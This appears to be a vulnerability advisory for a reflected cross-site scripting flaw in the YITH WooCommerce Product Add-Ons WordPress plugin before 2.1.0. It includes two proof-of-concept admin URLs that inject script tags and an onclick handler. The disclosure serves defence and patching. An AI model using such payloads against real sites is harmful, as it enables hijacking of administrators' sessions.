YITH WooCommerce Product Add-Ons < 2.1.0 – Reflected Cross-Site Scripting | Plugin Vulnerabilities

Description

The plugin does not escape some parameters before outputting them back in the edit addon page in the admin dashboard, leading to Reflected Cross-Site Scripting issues

Proof of Concept

v < 2.0.7

https://example.com/wp-admin/admin.php?page=yith_wapo_panel&tab=blocks&block_id=1&addon_id=1"><script>alert(/XSS-id/)</script>&addon_type=html_"><script>alert(/XSS-type/)</script>

v < 2.1.0

https://example.com/wp-admin/admin.php?page=yith_wapo_panel&tab=blocks&block_id=1&addon_id=1&addon_type=html_" accesskey=X onclick=alert(1) b="

Affects Plugins

yith-woocommerce-product-add-ons

Fixed in 2.1.0

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

f7d4db72-b5f9-48a2-9dfd-2df6a94aaf5e

Timeline

Publicly Published

2021-09-20 (about 4 years ago)

Added

2021-09-20 (about 4 years ago)

Last Updated

2021-09-20 (about 4 years ago)

Other

Published

Title

Published

2021-10-06

Title

WP All Export < 1.3.1 - Admin+ Stored Cross-Site Scripting

Published

2023-02-06

Title

Visualizer < 3.9.2 - Contributor+ Stored XSS

Published

2025-10-21

Title

Oboxmedia Ads <= 1.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-02-23

Title

Icon List Block < 1.1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-10-31

Title

Super Addons for Elementor <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting